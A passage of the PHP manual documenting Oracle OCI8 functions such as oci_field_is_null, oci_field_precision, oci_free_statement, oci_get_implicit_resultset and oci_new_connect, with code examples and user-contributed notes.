oci_close($conn);

?>

Notes

Note:

Will not return rows from Oracle Database 12c Implicit Result Sets. Use oci_fetch_array() instead.

See Also

  • oci_define_by_name() - Associates a PHP variable with a column for query fetches
  • oci_fetch_all() - Fetches multiple rows from a query into a two-dimensional array
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array
  • oci_result() - Returns field's value from the fetched row

User Contributed Notes

There are no user contributed notes for this page.


Checks if a field in the currently fetched row is NULL

  • « oci_fetch
  • oci_field_name »
  • PHP Manual
  • OCI8 Functions
  • Checks if a field in the currently fetched row is NULL

oci_field_is_null

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_is_null — Checks if a field in the currently fetched row is NULL

Description

bool oci_field_is_null ( resource $statement , mixed $field )

Checks if the given field from the current row of statement is NULL.

Parameters

statement

A valid OCI statement identifier.

field

Can be the field's index (1-based) or name.

Return Values

Returns TRUE if field is NULL, FALSE otherwise.

Examples

Example #1 oci_field_name() example

<?php

// Create the table with:
//   CREATE TABLE mytab (c1 NUMBER);
//   INSERT INTO mytab VALUES (1);
//   INSERT INTO mytab VALUES (NULL);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_RETURN_NULLS)) != false) {
    $ncols = oci_num_fields($stid);
    for ($col = 1; $col <= $ncols; $col++) {
        var_dump(oci_field_is_null($stid, $col));
    }
}

// Outputs:
//    bool(false)
//    bool(true)

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumnisnull() instead. This name still can be used, it was left as alias of oci_field_is_null() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

Raju Joseph [RajuJoseph at usa dot net] 15-Sep-2003 04:36
<?php

// Connect to Oracle database.

//        Username  : Raju
//        Password  : Password
//        Database  : Database_name

  $conn=OCILogon("Raju", "Password", "DATABASE_NAME");
  if ( ! $conn ) {
    echo "Unable to connect: " . var_dump( OCIError() );
    die();
  }

// Select Data...

// DESC[RIBE] COMPANY

//   CompanyID          VARCHAR2(10)
//   CompanyName      VARCHAR2(30)
//   LastUserID           VARCHAR2(15)
//   LastDate              DATE
//

  $query = "SELECT * FROM Company";

  $result = OCIParse($conn, $query);
  OCIExecute($result, OCI_DEFAULT);

while (OCIFetchInto ($result, $row, OCI_ASSOC)) {

// Usage of OCIcolumnisnull()
if (OCIcolumnisnull($result, 'CompanyName')) {

    print ( "<P>" . $row['CompanyID'] . "--->" . "Company Name NOT found !!  " . "<P>"  );
}
else {

    print ("<P>" . $row['CompanyID'] . "--->" . $row['CompanyName'] . "<P>"  );
}
}

// Close connection from Oracle...

  OCILogoff($conn);
?>


Returns the name of a field from the statement

  • « oci_field_is_null
  • oci_field_precision »
  • PHP Manual
  • OCI8 Functions
  • Returns the name of a field from the statement

oci_field_name

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_name — Returns the name of a field from the statement

Description

string oci_field_name ( resource $statement , mixed $field )

Returns the name of the field.

Parameters

statement

A valid OCI statement identifier.

field

Can be the field's index (1-based) or name.

Return Values

Returns the name as a string, or FALSE on errors.

Examples

Example #1 oci_field_name() example

<?php

// Create the table with:
//   CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1),
//                       clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

echo "<table border=\"1\">\n";
echo "<tr>";
echo "<th>Name</th>";
echo "<th>Type</th>";
echo "<th>Length</th>";
echo "</tr>\n";

$ncols = oci_num_fields($stid);

for ($i = 1; $i <= $ncols; $i++) {
    $column_name  = oci_field_name($stid, $i);
    $column_type  = oci_field_type($stid, $i);

    echo "<tr>";
    echo "<td>$column_name</td>";
    echo "<td>$column_type</td>";
    echo "</tr>\n";
}

echo "</table>\n";

// Outputs:
//    Name           Type
//    NUMBER_COL    NUMBER
//    VARCHAR2_COL  VARCHAR2
//    CLOB_COL      CLOB
//    DATE_COL      DATE

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumnname() instead. This name still can be used, it was left as alias of oci_field_name() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_num_fields() - Returns the number of result columns in a statement
  • oci_field_type() - Returns a field's data type name
  • oci_field_size() - Returns field's size

User Contributed Notes

Norbert 08-Jun-2011 10:50
This does not work for empty tables.
Paul 01-Aug-2010 03:25
Beware, the field index starts with 1, not 0. It's a bit counter-intuitive.


Tell the precision of a field

  • « oci_field_name
  • oci_field_scale »
  • PHP Manual
  • OCI8 Functions
  • Tell the precision of a field

oci_field_precision

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_precision — Tell the precision of a field

Description

int oci_field_precision ( resource $statement , mixed $field )

Returns precision of the field.

For FLOAT columns, precision is nonzero and scale is -127. If precision is 0, then column is NUMBER. Else it's NUMBER(precision, scale).

Parameters

statement

A valid OCI statement identifier.

field

Can be the field's index (1-based) or name.

Return Values

Returns the precision as an integer, or FALSE on errors.

Examples

Example #1 oci_field_precision() Example

<?php

// Create the table with:
//   CREATE TABLE mytab (c1 NUMBER, c2 FLOAT, c3 NUMBER(4), c4 NUMBER(5,3));

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

$ncols = oci_num_fields($stid);
for ($i = 1; $i <= $ncols; $i++) {
    echo oci_field_name($stid, $i) . " "
        . oci_field_precision($stid, $i) . " "
        . oci_field_scale($stid, $i) . "<br>\n";
}

// Outputs:
//   C1    0 -127
//   C2  126 -127
//   C3    4    0
//   C4    5    3

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumnprecision() instead. This name still can be used, it was left as alias of oci_field_precision() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_field_scale() - Tell the scale of the field
  • oci_field_type() - Returns a field's data type name

User Contributed Notes

webmaster at smwebdesigns dot com 15-Oct-2007 02:58
I did not test well before posting previous code.  This if statement works and the other does not.

if( ocicolumnscale($R, $i ) != 129 )
{
    $int_decimal = ocicolumnscale($R, $i );
    $int_length = ocicolumnprecision($R, $i) - $int_decimal;
}
webmaster at smwebdesigns dot com 11-Oct-2007 09:39
I've found that when using ocicolumnprecision or oci_field_precision it will not show you the decimal places if you are are reading from tables with decimals.  You can use ocicolumnscale or oci_field_scale to find the decimal.

if( ocicolumnscale($R, $i ) > 0 )
{
    $int_decimal = ocicolumnscale($R, $i );
    $int_length = ocicolumnprecision($R, $i) - $int_decimal;
}


Tell the scale of the field

  • « oci_field_precision
  • oci_field_size »
  • PHP Manual
  • OCI8 Functions
  • Tell the scale of the field

oci_field_scale

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_scale — Tell the scale of the field

Description

int oci_field_scale ( resource $statement , mixed $field )

Returns the scale of the column with field index.

For FLOAT columns, precision is nonzero and scale is -127. If precision is 0, then column is NUMBER. Else it's NUMBER(precision, scale).

Parameters

statement

A valid OCI statement identifier.

field

Can be the field's index (1-based) or name.

Return Values

Returns the scale as an integer, or FALSE on errors.

Examples

Example #1 oci_field_scale() Example

<?php

// Create the table with:
//   CREATE TABLE mytab (c1 NUMBER, c2 FLOAT, c3 NUMBER(4), c4 NUMBER(5,3));

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

$ncols = oci_num_fields($stid);
for ($i = 1; $i <= $ncols; $i++) {
    echo oci_field_name($stid, $i) . " "
        . oci_field_precision($stid, $i) . " "
        . oci_field_scale($stid, $i) . "<br>\n";
}

// Outputs:
//   C1    0 -127
//   C2  126 -127
//   C3    4    0
//   C4    5    3

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumnscale() instead. This name still can be used, it was left as alias of oci_field_scale() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_field_precision() - Tell the precision of a field
  • oci_field_type() - Returns a field's data type name

User Contributed Notes

There are no user contributed notes for this page.


Returns field's size

  • « oci_field_scale
  • oci_field_type_raw »
  • PHP Manual
  • OCI8 Functions
  • Returns field's size

oci_field_size

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_size — Returns field's size

Description

int oci_field_size ( resource $statement , mixed $field )

Returns the size of a field.

Parameters

statement

A valid OCI statement identifier.

field

Can be the field's index (1-based) or name.

Return Values

Returns the size of a field in bytes, or FALSE on errors.

Examples

Example #1 oci_field_size() example

<?php

// Create the table with:
//   CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1),
//                       clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

echo "<table border=\"1\">\n";
echo "<tr>";
echo "<th>Name</th>";
echo "<th>Type</th>";
echo "<th>Length</th>";
echo "</tr>\n";

$ncols = oci_num_fields($stid);

for ($i = 1; $i <= $ncols; $i++) {
    $column_name  = oci_field_name($stid, $i);
    $column_type  = oci_field_type($stid, $i);
    $column_size  = oci_field_size($stid, $i);

    echo "<tr>";
    echo "<td>$column_name</td>";
    echo "<td>$column_type</td>";
    echo "<td>$column_size</td>";
    echo "</tr>\n";
}

echo "</table>\n";

// Outputs:
//    Name           Type       Length
//    NUMBER_COL    NUMBER        22
//    VARCHAR2_COL  VARCHAR2       1
//    CLOB_COL      CLOB        4000
//    DATE_COL      DATE           7

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumnsize() instead. This name still can be used, it was left as alias of oci_field_size() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_num_fields() - Returns the number of result columns in a statement
  • oci_field_name() - Returns the name of a field from the statement

User Contributed Notes

rudi at darx dot com 16-Jul-2000 07:19
Just a note regarding the size of Oracle  NUMBERS will always return 22 as their "size".

This seems to be an Oracle feature. The rest of the documentation is in bug5156.


Tell the raw Oracle data type of the field

  • « oci_field_size
  • oci_field_type »
  • PHP Manual
  • OCI8 Functions
  • Tell the raw Oracle data type of the field

oci_field_type_raw

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_type_raw — Tell the raw Oracle data type of the field

Description

int oci_field_type_raw ( resource $statement , mixed $field )

Returns Oracle's raw "SQLT" data type of the field.

If you want a field's type name, then use oci_field_type() instead.

Parameters

statement

A valid OCI statement identifier.

field

Can be the field's index (1-based) or name.

Return Values

Returns Oracle's raw data type as a number, or FALSE on errors.

Examples

Example #1 oci_field_type_raw() Example

<?php

// Create the table with:
//   CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1), clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'select * from mytab');
oci_execute($stid, OCI_DESCRIBE_ONLY);  // Use OCI_DESCRIBE_ONLY if not fetching rows
$n = oci_num_fields($stid);
for ($i = 1; $i <= $n; ++$i) {
    echo oci_field_name($stid, $i) . " is raw type: " . oci_field_type_raw($stid, $i) . "<br>\n";
}

// Output is:
//    NUMBER_COL is raw type: 2
//    VARCHAR2_COL is raw type: 1
//    CLOB_COL is raw type: 112
//    DATE_COL is raw type: 12

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumntyperaw() instead. This name still can be used, it was left as alias of oci_field_type_raw() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

There are no user contributed notes for this page.


Returns a field's data type name

  • « oci_field_type_raw
  • oci_free_descriptor »
  • PHP Manual
  • OCI8 Functions
  • Returns a field's data type name

oci_field_type

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_type — Returns a field's data type name

Description

mixed oci_field_type ( resource $statement , mixed $field )

Returns a field's data type name.

Parameters

statement

A valid OCI statement identifier.

field

Can be the field's index (1-based) or name.

Return Values

Returns the field data type as a string, or FALSE on errors.

Examples

Example #1 oci_field_type() example

<?php

// Create the table with:
//   CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1),
//                       clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
    $m = oci_error();
    trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // Use OCI_DESCRIBE_ONLY if not fetching rows

echo "<table border=\"1\">\n";
echo "<tr>";
echo "<th>Name</th>";
echo "<th>Type</th>";
echo "<th>Length</th>";
echo "</tr>\n";

$ncols = oci_num_fields($stid);

for ($i = 1; $i <= $ncols; $i++) {
    $column_name  = oci_field_name($stid, $i);
    $column_type  = oci_field_type($stid, $i);
    $column_size  = oci_field_size($stid, $i);

    echo "<tr>";
    echo "<td>$column_name</td>";
    echo "<td>$column_type</td>";
    echo "<td>$column_size</td>";
    echo "</tr>\n";
}

echo "</table>\n";

// Outputs:
//    Name           Type       Length
//    NUMBER_COL    NUMBER        22
//    VARCHAR2_COL  VARCHAR2       1
//    CLOB_COL      CLOB        4000
//    DATE_COL      DATE           7

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumntype() instead. This name still can be used, it was left as alias of oci_field_type() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_num_fields() - Returns the number of result columns in a statement
  • oci_field_name() - Returns the name of a field from the statement
  • oci_field_size() - Returns field's size

User Contributed Notes

There are no user contributed notes for this page.


Frees a descriptor

  • « oci_field_type
  • oci_free_statement »
  • PHP Manual
  • OCI8 Functions
  • Frees a descriptor

oci_free_descriptor

(PHP 5, PECL OCI8 >= 1.1.0)

oci_free_descriptor — Frees a descriptor

Description

bool oci_free_descriptor ( resource $descriptor )

Frees a descriptor allocated by oci_new_descriptor().

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

This function is commonly used as a method OCI-LOB::free.

See Also

  • OCI-LOB::free

User Contributed Notes

There are no user contributed notes for this page.


Frees all resources associated with statement or cursor

  • « oci_free_descriptor
  • oci_get_implicit_resultset »
  • PHP Manual
  • OCI8 Functions
  • Frees all resources associated with statement or cursor

oci_free_statement

(PHP 5, PECL OCI8 >= 1.1.0)

oci_free_statement — Frees all resources associated with statement or cursor

Description

bool oci_free_statement ( resource $statement )

Frees resources associated with Oracle's cursor or statement, which was received from as a result of oci_parse() or obtained from Oracle.

Parameters

statement

A valid OCI statement identifier.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

passerbyxp at gmail dot com 19-Dec-2012 05:37
A freed statement is not "empty()", it's still a resource:

<?php
$con=oci_connect(/*connect*/);
$q=oci_parse($con,"SELECT sysdate FROM dual");
var_dump($q); // resource(5) of type (oci8 statement)
var_dump(empty($q)); // bool(false)
var_dump(oci_statement_type($q)); // string(6) "SELECT"
echo "------\n";
oci_execute($q);
var_dump($q); // same as above
var_dump(empty($q));
var_dump(oci_statement_type($q));
echo "------\n";
oci_free_statement($q);
var_dump($q); // resource(5) of type (Unknown)
var_dump(empty($q)); // bool(false)
var_dump(oci_statement_type($q)); // generates warning and returns false
oci_close($con);
?>

So far I can not think of a way to determine if a statement is freed without using an additional flag...
Jen M. 02-Oct-2008 08:05
oci_free_statement doesn't always free up cursors.  I had a query where I performed the following functions in a loop:

OCIParse
OCIExecute
Oci_fetch_assoc
(Grab some field values)
OciFreeStatement

I didn't specify the use of a cursor, but ran into a "maximum
open cursors exceeded" error.  Within my code, I had one "select * from table_with_lobs" query.  When I changed the query to be "select a, b, c, from table_with_lobs" (where I specified the actual column names and where those columns were not LOB fields) the error message went away and I didn't have to resort to upping the max_open_cursors value in Oracle.
rada at instinctive dot it 04-Mar-2008 05:46
If you are using cursors, make sure to free the statement *and* the cursor, especially if there is a possibility of running the proc/cursor again (e.g. with different parameters).

<?php

    oci_execute($stmt);
    oci_execute($crsr);

    // iterate through cursor...

    oci_free_statement($stmt);
    oci_free_statement($crsr);
?>

You need to do it explicitly, closing connection for example does not seem to release the cursor.


Returns the next child statement resource from a parent statement resource that has Oracle Database 12c Implicit Result Sets

  • « oci_free_statement
  • oci_internal_debug »
  • PHP Manual
  • OCI8 Functions
  • Returns the next child statement resource from a parent statement resource that has Oracle Database 12c Implicit Result Sets

oci_get_implicit_resultset

(PECL OCI8 >= 2.0.0)

oci_get_implicit_resultset — Returns the next child statement resource from a parent statement resource that has Oracle Database 12c Implicit Result Sets

Description

resource oci_get_implicit_resultset ( resource $statement )

Used to fetch consectutive sets of query results after the execution of a stored or anonymous Oracle PL/SQL block where that block returns query results with Oracle's DBMS_SQL.RETURN_RESULT PL/SQL function. This allows PL/SQL blocks to easily return query results.

The child statement can be used with any of the OCI8 fetching
functions: oci_fetch(), oci_fetch_all(),
oci_fetch_array(), oci_fetch_object(),
oci_fetch_assoc() or oci_fetch_row()

Child statements inherit their parent statement's prefetch value, or it can be explicitly set with oci_set_prefetch().

Parameters

statement

A valid OCI8 statement identifier created by oci_parse() and executed by oci_execute(). The statement identifier may or may not be associated with a SQL statement that returns Implicit Result Sets.

Return Values

Returns a statement handle for the next child statement available on statement. Returns FALSE when child statements do not exist, or all child statements have been returned by previous calls to oci_get_implicit_resultset().

Examples

Example #1 Fetching Implicit Result Sets in a loop

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
            c1 SYS_REFCURSOR;
        BEGIN
           OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
           OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
        END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

while (($stid_c = oci_get_implicit_resultset($stid))) {
    echo "<h2>New Implicit Result Set:</h2>\n";
    echo "<table>\n";
    while (($row = oci_fetch_array($stid_c, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
        echo "<tr>\n";
        foreach ($row as $item) {
            echo "  <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"&nbsp;")."</td>\n";
        }
        echo "</tr>\n";
    }
    echo "</table>\n";
}

// Output is:
//    New Implicit Result Set:
//     Beijing 190518
//     Bern    3095
//     Bombay  490231
//    New Implicit Result Set:
//     CN
//     CH
//     IN

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 Getting child statement handles individually

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
            c1 SYS_REFCURSOR;
        BEGIN
           OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
           OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
        END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

$stid_1 = oci_get_implicit_resultset($stid);
$stid_2 = oci_get_implicit_resultset($stid);

$row = oci_fetch_array($stid_1, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);
$row = oci_fetch_array($stid_2, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);
$row = oci_fetch_array($stid_1, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);
$row = oci_fetch_array($stid_2, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);

// Output is:
//    array(2) {
//      ["CITY"]=>
//      string(7) "Beijing"
//      ["POSTAL_CODE"]=>
//      string(6) "190518"
//    }
//    array(1) {
//      ["COUNTRY_ID"]=>
//      string(2) "CN"
//    }
//    array(2) {
//      ["CITY"]=>
//      string(4) "Bern"
//      ["POSTAL_CODE"]=>
//      string(4) "3095"
//    }
//    array(1) {
//      ["COUNTRY_ID"]=>
//      string(2) "CH"
//    }

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 Explicitly setting the Prefetch Count

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
            c1 SYS_REFCURSOR;
        BEGIN
           OPEN c1 FOR SELECT city, postal_code FROM locations ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
        END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

$stid_c = oci_get_implicit_resultset($stid);
oci_set_prefetch($stid_c, 200);   // Set the prefetch before fetching from the child statement
echo "<table>\n";
while (($row = oci_fetch_array($stid_c, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "  <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Example #4 Implicit Result Set example without using oci_get_implicit_resultset()

All results from all queries are returned consecutively.

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
            c1 SYS_REFCURSOR;
        BEGIN
           OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
           OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
           DBMS_SQL.RETURN_RESULT(c1);
        END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

// Note: oci_fetch_all and oci_fetch() cannot be used in this manner
echo "<table>\n";
while (($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "  <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"&nbsp;")."</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

// Output is:
//    Beijing 190518
//    Bern 3095
//    Bombay 490231
//    CN
//    CH
//    IN

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

For queries returning a large number of rows, performance can be significantly improved by increasing oci8.default_prefetch or using oci_set_prefetch().

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables internal debug output

  • « oci_get_implicit_resultset
  • oci_lob_copy »
  • PHP Manual
  • OCI8 Functions
  • Enables or disables internal debug output

oci_internal_debug

(PHP 5, PECL OCI8 >= 1.1.0)

oci_internal_debug — Enables or disables internal debug output

Description

void oci_internal_debug ( bool $onoff )

Enables or disables internal debug output.

Parameters

onoff

Set this to FALSE to turn debug output off or TRUE to turn it on.

Return Values

No value is returned.

Notes

Note:

In PHP versions before 5.0.0 you must use ociinternaldebug() instead. This name still can be used, it was left as alias of oci_internal_debug() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

There are no user contributed notes for this page.


Copies large object

  • « oci_internal_debug
  • oci_lob_is_equal »
  • PHP Manual
  • OCI8 Functions
  • Copies large object

oci_lob_copy

(PHP 5, PECL OCI8 >= 1.1.0)

oci_lob_copy — Copies large object

Description

bool oci_lob_copy ( OCI-Lob $lob_to , OCI-Lob $lob_from [, int $length = 0 ] )

Copies a large object or a part of a large object to another large object. Old LOB-recipient data will be overwritten.

If you need to copy a particular part of a LOB to a particular position of a LOB, use OCI-Lob::seek() to move LOB internal pointers.

Parameters

lob_to

The destination LOB.

lob_from

The copied LOB.

length

Indicates the length of data to be copied.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Compares two LOB/FILE locators for equality

  • « oci_lob_copy
  • oci_new_collection »
  • PHP Manual
  • OCI8 Functions
  • Compares two LOB/FILE locators for equality

oci_lob_is_equal

(PHP 5, PECL OCI8 >= 1.1.0)

oci_lob_is_equal — Compares two LOB/FILE locators for equality

Description

bool oci_lob_is_equal ( OCI-Lob $lob1 , OCI-Lob $lob2 )

Compares two LOB/FILE locators.

Parameters

lob1

A LOB identifier.

lob2

A LOB identifier.

Return Values

Returns TRUE if these objects are equal, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Allocates new collection object

  • « oci_lob_is_equal
  • oci_new_connect »
  • PHP Manual
  • OCI8 Functions
  • Allocates new collection object

oci_new_collection

(PHP 5, PECL OCI8 >= 1.1.0)

oci_new_collection — Allocates new collection object

Description

OCI-Collection oci_new_collection ( resource $connection , string $tdo [, string $schema = NULL ] )

Allocates a new collection object.

Parameters

connection

An Oracle connection identifier, returned by oci_connect() or oci_pconnect().

tdo

Should be a valid named type (uppercase).

schema

Should point to the scheme, where the named type was created. The name of the current user is the default value.

Return Values

Returns a new OCICollection object or FALSE on error.

Notes

Note:

In PHP versions before 5.0.0 you must use ocinewcollection() instead. This name still can be used, it was left as alias of oci_new_collection() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

There are no user contributed notes for this page.


Connect to the Oracle server using a unique connection

  • « oci_new_collection
  • oci_new_cursor »
  • PHP Manual
  • OCI8 Functions
  • Connect to the Oracle server using a unique connection

oci_new_connect

(PHP 5, PECL OCI8 >= 1.1.0)

oci_new_connect — Connect to the Oracle server using a unique connection

Description

resource oci_new_connect ( string $username , string $password [, string $connection_string [, string $character_set [, int $session_mode ]]] )

Establishes a new connection to an Oracle server and logs on.

Unlike oci_connect() and oci_pconnect(), oci_new_connect() does not cache connections and will always return a brand-new freshly opened connection handle. This is useful if your application needs transactional isolation between two sets of queries.

Parameters

username

The Oracle user name.

password

The password for username.

connection_string

Contains the Oracle instance to connect to. It can be an » Easy Connect string, or a Connect Name from the tnsnames.ora file, or the name of a local Oracle instance.

If not specified, PHP uses environment variables such as TWO_TASK (on Linux) or LOCAL (on Windows) and ORACLE_SID to determine the Oracle instance to connect to.

To use the Easy Connect naming method, PHP must be linked with Oracle 10g or greater Client libraries. The Easy Connect string for Oracle 10g is of the form: [//]host_name[:port][/service_name]. From Oracle 11g, the syntax is: [//]host_name[:port][/service_name][:server_type][/instance_name]. Service names can be found by running the Oracle utility lsnrctl status on the database server machine.

The tnsnames.ora file can be in the Oracle Net search path, which includes $ORACLE_HOME/network/admin and /etc. Alternatively set TNS_ADMIN so that $TNS_ADMIN/tnsnames.ora is read. Make sure the web daemon has read access to the file.

character_set

Determines the character set used by the Oracle Client libraries. The character set does not need to match the character set used by the database. If it doesn't match, Oracle will do its best to convert data to and from the database character set. Depending on the character sets this may not give usable results. Conversion also adds some time overhead.

If not specified, the Oracle Client libraries determine a character set from the NLS_LANG environment variable.

Passing this parameter can reduce the time taken to connect.

session_mode

This parameter is available since version PHP 5 (PECL OCI8 1.1) and accepts the following values: OCI_DEFAULT, OCI_SYSOPER and OCI_SYSDBA. If either OCI_SYSOPER or OCI_SYSDBA were specified, this function will try to establish privileged connection using external credentials. Privileged connections are disabled by default. To enable them you need to set oci8.privileged_connect to On.

PHP 5.3 (PECL OCI8 1.3.4) introduced the OCI_CRED_EXT mode value. This tells Oracle to use External or OS authentication, which must be configured in the database. The OCI_CRED_EXT flag can only be used with username of "/" and a empty password. oci8.privileged_connect may be On or Off.

OCI_CRED_EXT may be combined with the OCI_SYSOPER or OCI_SYSDBA modes.

OCI_CRED_EXT is not supported on Windows for security reasons.

Return Values

Returns a connection identifier or FALSE on error.

Examples

The following demonstrates how you can separate connections.

Example #1 oci_new_connect() example

<?php

// create table mytab (mycol number);

function query($name, $c)
{
    echo "Querying $name\n";
    $s = oci_parse($c, "select * from mytab");
    oci_execute($s, OCI_NO_AUTO_COMMIT);
    $row = oci_fetch_array($s, OCI_ASSOC);
    if (!$row) {
        echo "No rows\n";
    } else {
        do {
            foreach ($row as $item)
                echo $item . " ";
            echo "\n";
        } while (($row = oci_fetch_array($s, OCI_ASSOC)) != false);
    }
}

$c1 = oci_connect("hr", "welcome", "localhost/orcl");
$c2 = oci_new_connect("hr", "welcome", "localhost/orcl");

$s = oci_parse($c1, "insert into mytab values(1234)");
oci_execute($s, OCI_NO_AUTO_COMMIT);

query("basic connection", $c1);
query("new connection", $c2);
oci_commit($c1);
query("new connection after commit", $c2);

// Output is:
//   Querying basic connection
//   1234
//   Querying new connection
//   No rows
//   Querying new connection after commit
